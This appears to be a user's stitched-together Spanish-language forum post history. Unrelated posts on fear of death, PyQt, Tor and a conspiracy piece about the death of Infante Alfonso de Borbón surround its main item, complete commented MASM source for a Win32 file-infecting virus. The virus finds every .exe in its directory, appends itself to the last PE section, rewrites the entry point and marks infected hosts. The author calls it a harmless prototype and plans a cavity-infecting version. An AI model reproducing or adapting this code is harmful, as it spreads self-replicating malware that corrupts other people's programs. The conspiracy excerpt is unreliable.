Mensajes

todo el mundo le tiene miedo a morir. en el momento en el que están por morir ahí tienen miedo. debe ser porque no se sabe lo que viene después.

se puede alinear con lo que se llama miedo a lo desconocido.

Yo sé lo que hay en la muerte (que no después, porque ahí no hay nada) y sin embargo le tengo miedo xD Así que no es exactamente miedo a lo desconocido.

Lo que pasa es que sé que una vez que muera ya no podré volver a disfrutar de nada, nunca, nunca más. En toda la eternidad, nunca voy a volver a existir. Nunca podré volver a escuchar la canción que me gusta, a disfrutar del sol, a disfrutar de la lluvia ni de nada. Se acabó.

Por eso le tengo miedo, no quiero que se acabe y no quiero que llegue ese momento. No es miedo en sí, es como una especie de angustia.

¡JAJAJAJAJAJA!
Estos gringos.

Muy buen virus parasitario colega, jodedor, jodedor...

copiando y pegando en mi radasm, despues lo ejecutare para ver si me optimiza el guindows y me acelera la conexión de ***** que tengo.

No es un virus, sólo es un prototipo. Ni jodedor tampoco es, de hecho no hace nada salvo cargarse un par de ejecutables con EOF. Es lo que hay.

Intentaré en los próximos días (o semanas, depende de como vaya de tiempo) hacer uno que se copie en los espacios que hay entre sección y sección debido al alineamiento en disco, y que si no encuentra suficiente espacio en ningún hueco recurrirá a añadirse al final de la última sección, como hace el aquí presente.

Saludos.

Cito directamente de wikipedia:

Qt es una biblioteca multiplataforma ampliamente usada para desarrollar aplicaciones con una interfaz gráfica de usuario así como también para el desarrollo de programas sin interfaz gráfica como herramientas para la línea de comandos y consolas para servidores.
Qt es utilizada en KDE, un entorno de escritorio para sistemas como GNU/Linux o FreeBSD, entre otros. Qt utiliza el lenguaje de programación C++ de forma nativa, adicionalmente puede ser utilizado en varios otros lenguajes de programación a través de bindings. También es usada en sistemas informáticos empotrados para automoción, aeronavegación y aparatos domésticos como frigoríficos.3

Y en python, para implementar QT, tienes un módulo que se llama PyQt (¿qué raro, no?  )

PyQt es un binding de la biblioteca gráfica Qt para el lenguaje de programación Python. La biblioteca está desarrollada por la firma británica Riverbank Computing y está disponible para Windows, GNU/Linux y Mac OS X bajo diferentes licencias.
En agosto de 2009, tras intentar negociar con Riverbank Computing la liberación de PyQt bajo licencia LGPL sin conseguirlo, Nokia, propietaria de Qt, libera bajo esta licencia un binding similar, llamado PySide.

¡Un saludo!

Pues por poder puedes, hace algún tiempo me interesé por python (que ya poco recuerdo de lo que aprendí, pero bueh  ) y codeé una shell remota, que es básicamente un troyano también.

El problema con python es que es un lenguaje interpretado, entonces pues requiere un intérprete. Si el computador que actuará como servidor no tiene el intérprete de python no funcionará.

Hay algunas herramientas que te arreglan un poco este problema, como py2exe, pero lo que hacen es (más o menos) juntar el intérprete con el script y añadir a la mezcla las librerías que éste necesite. Como resultado obtendrás un servidor muy, muy pesado.

En resumen, nada te impide hacerlo como prueba de concepto, pero en la práctica es mejor programarlo en lenguajes no interpretados.

Saludos

En teoría sí, porque la red tor se basa en capas, de forma que para que la información te llegue a ti antes debe de pasar por muchos servidores, así que debería de funcionar usando tor, pero no sé. Nunca me gustó mucho el tema de redes 

 Es un PoC de virus para win32 poco original, infecta todos los .exe del directorio añadiendo su código al final de la última sección del ejecutable host.
EDIT: Lo he comentado por completo, porque si no es muy difícil de leer 

Código (asm) [Seleccionar] Expandir


.386
.model flat, stdcall
option casemap:none
assume fs:nothing

.code
vx_code:
start_vx_code:
call _delta
_delta:
;Get the delta offset
pop ebp
sub ebp, offset _delta

;MyEntryPoint would be saved
;in HostEntryPoint if the current
;file were infected
mov eax, [ebp + HostEntryPoint]
mov [ebp + MyEntryPoint], eax

;Call to _GtGetProcAddress
;to find out Kernel32 base
;and GetProcAddress Address
call _GtGetProcAddress
mov [ebp + GtProcAdH], eax
mov [ebp + Kernel32H], edx
call _GtRequiredAPIs

_FindFirst:
;Find first file, loading the parameters
;according to ebp, delta offset
    lea ebx, [ebp + win32_find_data]
    lea edx, [ebp + filter]
    push ebx
    push edx
    call [ebp + FindFirstFileAH]
   
    ;If it hasn't found any file
    ;return to the host file code
    cmp eax, -1
    jz end_vx

;Else save the Handle in FileHandleFind
    mov [ebp + FileHandleFind], eax
   
    ;And call infect_file to try to infect it
    call infect_file

    _FindNext:
   
    ;Load the parameters for FindNextFileA and call it
    lea ebx, [ebp + win32_find_data]
    mov edx, [ebp + FileHandleFind]
    push ebx
    push edx
    call [ebp + FindNextFileAH]
   
    ;If it hasn't found anything else, return
    cmp eax, 00h
    jz end_vx
   
    ;Else try to infect the file
    call infect_file
   
    ;Search more files
    jmp _FindNext
retn


end_vx:

;If delta offset is 00h
;the virus is not running on
;another executable, so exit to OS
cmp ebp, 00h
jnz return
retn
return:
;Else access to TIB to get
;the current ImageBase
mov eax, fs:[030h]
          mov eax,[eax + 08h]
         
          ;And add it to MyEntryPoint
          add [ebp + MyEntryPoint], eax
         
          ;To jump
jmp dword ptr[ebp + MyEntryPoint]

_procedures:
_GtGetProcAddress:

;To get kernel32 ImageBase
;Looking at the PEB
mov ebx, fs:[030h]
mov ebx, [ebx + 0ch]
mov ebx, [ebx + 0ch]
mov ebx, [ebx + 00h]
mov ebx, [ebx + 00h]
mov eax, [ebx + 18h]

;To get export table address
mov ebx, [eax + 3Ch]
add ebx, eax
mov ebx, [ebx + 78h]
add ebx, eax

;Save that address
push ebx

;Pointer to AddressOfNames
mov ebx, [ebx + 20h]
add ebx, eax
xor edx, edx
_loop:
;Each entry of AddressOfNames
;Is a pointer to one string
;which has the name of one API
lea esi, [ebp + GpaName]
mov edi, [ebx + edx]
add edi, eax
mov ecx, 0Fh
add edx, 04h
repz cmpsb
jnz _loop
sub edx, 04h

;Divide edx by 2 to use it as
;an index in AddressOfNameOrdinals
;(2 bytes by entry)
shr edx, 01h

;Restore ExportTable address
pop ebx

;Access to AddressOfNameOrdinals
mov edi, [ebx + 24h]
add edi, eax

;To get the index that is going
;to be used in AddressOfFunctions
movzx edx, word ptr[edi + edx]

;Each entry is 4 bytes long
shl edx, 02h

;Load AddressOfFunctions address in edi
mov edi, [ebx + 1Ch]
add edi, eax

;Load GetProcAddress address in edi
mov edi, [edi + edx]
add edi, eax

;edx = Kernel base
;eax = GetProcAddress address
mov edx, eax
mov eax, edi
retn

_GtRequiredAPIs:
;Source registry points to ApiListH (where the APIs handles will be)
;Destiny registry points to ApiListN (where the APIs names are)
lea edi, [ebp + ApiListN]
lea esi, [ebp + ApiListH]

;Ebx contains Kernel32 base
mov ebx, [ebp + Kernel32H]
GetAPI_Loop:
;Push the Kernel base and
;the API name to get its address
push edi
push ebx
call [ebp + GtProcAdH]

;Save the adress where source registry points
mov [esi], eax

;Find the next API in the list pointed by edi
xor eax, eax
repnz scasb

;Esi points to the next handle to fill up
add esi, 04h

;If it's not the end of the list
;get the next API, else return
cmp byte ptr[edi], 00h
jnz GetAPI_Loop
retn

infect_file:

;VirusHostSize contains the size of the virus
;plus the size of the host
mov ebx, VirusSize
add ebx, [ebp + win32_find_data.nFileSizeLow]
mov [ebp + VirusHostSize], ebx

;Open the file to read and write on it
;And shared on reading
push 00h
push 00h
push 03h
push 00h
push 01h
push 0C0000000h
lea ebx, [ebp + win32_find_data.cFileName]
push ebx
call [ebp + CreateFileAH]

;If the file could not be opened
;jump to end_infect_file to search more files
cmp eax, -1
jz end_infect_file

;Else save the handle in FileHandleCreate
mov [ebp + FileHandleCreate], eax

;Push the file size to the stack and map the file in memory
;Eax will contain the base address of the mapped file
push [ebp + win32_find_data.nFileSizeLow]
call map_file_in_memory

;Is it an executable file?
cmp word ptr[eax], "ZM"

;Otherwise close the handles and return
jnz close_view

;Ebx contains the address where the PE files
;header begins
mov ebx, [eax + 3Ch]
add ebx, eax

;If it's not a PE file close the handles and return
cmp word ptr[ebx], "EP"
jnz close_view

;If the file is already infected
;close the handles and return
cmp dword ptr[eax + 6Ch], "hDyB"
jz close_view

;falignvalue will contain the FileAlignment
;and salignvalue will contain the SectionAlignment
mov eax, [ebx + 3Ch]
mov [ebp + falignvalue], eax
mov eax, [ebx + 38h]
mov [ebp + salignvalue], eax

;Get the new size of the file
;that is, the VirusHostSize rounded up
;to the FileAlignment
push dword ptr[ebp + VirusHostSize]
push dword ptr[ebp + falignvalue]
call _alignment

;And push it to the stack
push eax

;Unmap the file
push [ebp + MappedFile]
call [ebp + UnmapViewOfFileH]
push [ebp + FileHandleMap]
call [ebp + CloseHandleH]

;And map it again with the new size
call map_file_in_memory

;Save the base address of the mapped file
push eax

;Mark the file with the signature ByDh
mov dword ptr[eax + 6Ch], "hDyB"

;Ebx contains the PE header address
mov ebx, [eax + 3Ch]
add ebx, eax

;Save this address
push ebx

;Move to edx the size of optional header
movzx edx, word ptr[ebx + 14h]

;Load in esi the address of the first structure
;of the PE Section Table
;(PEHeader + SizeOfOptionalHeader + PEHeaderSize)
lea esi, [ebx + edx + 18h]

;And push it to stack to use it later
push esi

;Move to ecx NumberOfSections
movzx ecx, word ptr[ebx + 06h]

;And push it to stack to use it later
push ecx


;Eax = 00h, and it will contain
;the highest PointerToRawData
xor eax, eax
_SectionsLoop:

;Compare the current biggest pointer
;with the PointerToRawData of the next section
cmp [esi + 14h], eax

;If it isn't bigger jump to _notbigger
jb _notbigger

;Else save ecx (index of current section) in ebx
;And move that pointer to eax
mov ebx, ecx
mov eax, [esi + 14h]
_notbigger:

;Esi points to the next section table
add esi, 28h
loop _SectionsLoop

;Eax = NumberOfSections
pop eax

;Subtract ebx from the NumbersOfSections
;and multiply it by 28h
sub eax, ebx
mov ecx, 28h
mul ecx

;Restore esi (the pointer to the first table)
;and add eax to make it point to the table which has
;the highest PointerToRawData
pop esi
add esi, eax


;Ebx contains VirtualSize, save it into the stack
    mov ebx, [esi + 08h]
    push ebx
   
    ;New VirtualSize = Old VirtualSize + VirusSize
    add ebx, VirusSize
    mov [esi + 08h], ebx
   
    ;Eax contains the new VirtualSize
    ;Rounded up to FileAlignment
    push ebx
    push [ebp + falignvalue]
    call _alignment
   
    ;That is, it's the new SizeOfRawData
    ;so change it up
    mov [esi + 10h], eax

;ecx = Old VirtualSize
;ebx = PE Header Address
    pop ecx
    pop ebx
   
    ;Save the EntryPoint of the file
    ;in HostEntryPoint
    mov edx, [ebx + 28h]
    mov [ebp + HostEntryPoint], edx
   
    ;edx = VirtualAddress + VirtualSize
    mov edx, [esi + 0Ch]
    add edx, ecx
   
    ;That is, the new EntryPoint
    ;so change it up
    mov [ebx + 28h], edx

;Save PE Header Address into the stack
    push ebx
   
    ;eax = New VirtualSize + VirtualAddress
    mov eax, [esi + 08h]
    add eax, [esi + 0Ch]
   
    ;Get the new SizeOfImage,
    ;[[(VirtualSize+VirtualAddress)/0x1000]+1]*0x1000
    push eax
    push [ebp + salignvalue]
    call _alignment
   
    ;Set the new SizeOfImage
    pop ebx
    mov [ebx + 50h], eax

;Last section characteristics:
;CODE|EXECUTE|READ|WRITE
or dword ptr[esi + 24h], 0E0000020h

;eax = Base Address of mapped file
pop eax

;ebx = PointerToRawData
mov ebx, [esi + 14h]

;ebx = Base Address + PointerToRawData + Old VirtualSize
lea ebx, [eax + ebx]
add ebx, ecx

;Copy the virus code in the host code
;esi = beginning of the virus code
;edi = end of the last section
lea esi, [ebp + start_vx_code]
mov edi, ebx
mov ecx, VirusSize
rep movsb


;Close all the handles
jmp close_all

_alignment:
;The formula to align a value is:
;AlignedValue = [(Value/Alignment)+1]*Alignment


;Save the returning address in edi
pop edi

;Get the value to align and the alignment
pop ebx
pop eax

xor edx, edx
div ebx
cmp edx, 00h
jz _align
inc eax
_align:
xor edx, edx
mul ebx

;Push the returning address
;and jump to it
push edi
retn

map_file_in_memory:

;esi = returning address
;edi = mapping size
pop esi
pop edi

;Create the file mapping object
push 00h
push edi
push 00h
push 04h
push 00h
push [ebp + FileHandleCreate]
call [ebp + CreateFileMappingAH]
cmp eax, 00h
jz close_file
mov [ebp + FileHandleMap], eax

;And create a view of the file
;using the size in edi
push edi
push 0
push 0
push 000F001Fh
push [ebp + FileHandleMap]
call [ebp + MapViewOfFileH]
cmp eax, 00h
jz close_filemap
mov [ebp + MappedFile], eax

;Set the returning address
;and jump to it
push esi
retn



;Chain of functions which close the appropiate handles
close_all:
close_view:
push [ebp + MappedFile]
call [ebp + UnmapViewOfFileH]

close_filemap:
push [ebp + FileHandleMap]
call [ebp + CloseHandleH]

close_file:
push [ebp + FileHandleCreate]
call [ebp + CloseHandleH]

end_infect_file:
retn
 

_data:
Kernel32H dd ?
GtProcAdH dd ?
GpaName db "GetProcAddress",0
ExitProcessN db "ExitProcess",0

ApiListN db "FindFirstFileA",0
            db "FindNextFileA",0
            db "CreateFileA",0
            db "CreateFileMappingA",0
            db "MapViewOfFile",0
            db "CloseHandle",0
            db "UnmapViewOfFile",0
            db 0
    ApiListH:
    FindFirstFileAH dd ?
    FindNextFileAH  dd ?
    CreateFileAH    dd ?
    CreateFileMappingAH dd ?
    MapViewOfFileH dd ?
    CloseHandleH dd ?
    UnmapViewOfFileH dd ?

    filter db "*.exe",0
    FileHandleFind dd ?
    FileHandleCreate dd ?
    FileHandleMap dd ?
    MappedFile dd ?

    VirusSize equ end_vx_code - start_vx_code
    VirusHostSize dd ?
    falignvalue dd ?
    salignvalue dd ?
    HostEntryPoint dd 0
    MyEntryPoint dd 0

    filetime struct
        FT_dwLowDateTime    dd ?
        FT_dwHighDateTime    dd ?
    filetime ends

    find_data struct
        dwFileAttributes        dd ?
        ftCreationTime          filetime <?>         
        ftLastAccessTime        filetime <?>
        ftLastWriteTime          filetime <?>
        nFileSizeHigh            dd ?
        nFileSizeLow            dd ?
        dwReserved0              dd ?
        dwReserved1              dd ?
        cFileName              db 512 dup (?)
        cAlternateFileName      db 14 dup  (?)
    find_data ends

    win32_find_data          find_data <?>

end_vx_code:
end vx_code


Agradecería mucho que me comentarais los muchos fallos que seguro hay.

Un saludo!

Pero si dan pena... qué patéticos son.

Yo si leo algo que me gusta y me interesa no lo olvido por mucho, mucho tiempo.
Si estudio desganado algo de la escuela que encima me parece una parida, pasan 2 min después del examen y hago un free(tema_estudiado);

7º.-  ¿"Qui prodest"? ¿A quien pudo beneficiar la muerte del infante don Alfonso? Ni la policía judicial portuguesa ni la española (civil o militar) investigaron nada en relación con la extraña muerte del infante Alfonso de Borbón a pesar de que D. Jaime, jefe de la Casa de Borbón, pidió una encuesta judicial sobre la muerte de su sobrino. Pero por otra parte, del mero análisis político y familiar del entorno de los Borbón se desprende que la desaparición física del hijo menor del conde de Barcelona benefició y mucho las expectativas de su hermano Juan Carlos de cara a ocupar en su día el trono de España. De no haber muerto Alfonso esas expectativas habrían caído en picado pues, según bastantes prohombres del entorno de don Juan, éste barajaba ya en la época en la que sucedió la inesperada desaparición de su hijo la posibilidad de nombrar al "Senequita", su descendiente preferido, heredero de los derechos dinásticos de la familia en detrimento de los del hijo mayor. Además, de vivir Alfonso, su sola presencia física hubiera constituido en sí misma una baza muy importante en manos del conde de Barcelona en su lucha con el dictador para conseguir que el futuro rey de España fuera él y no su hijo Juan Carlos, existiendo también la posibilidad de que, tras el enfrentamiento entre éste y su padre por la asunción sin condiciones por parte del primero de las tesis franquistas, don Juan hubiera presionado a Franco a favor de su hijo Alfonso como futuro heredero de la Jefatura del Estado español a título de rey.

Fuente: http://www.avizora.com/atajo/informes/espana_textos/0021_informe_dudosa_muerte_hermano_rey_juan_carlos_borbon.htm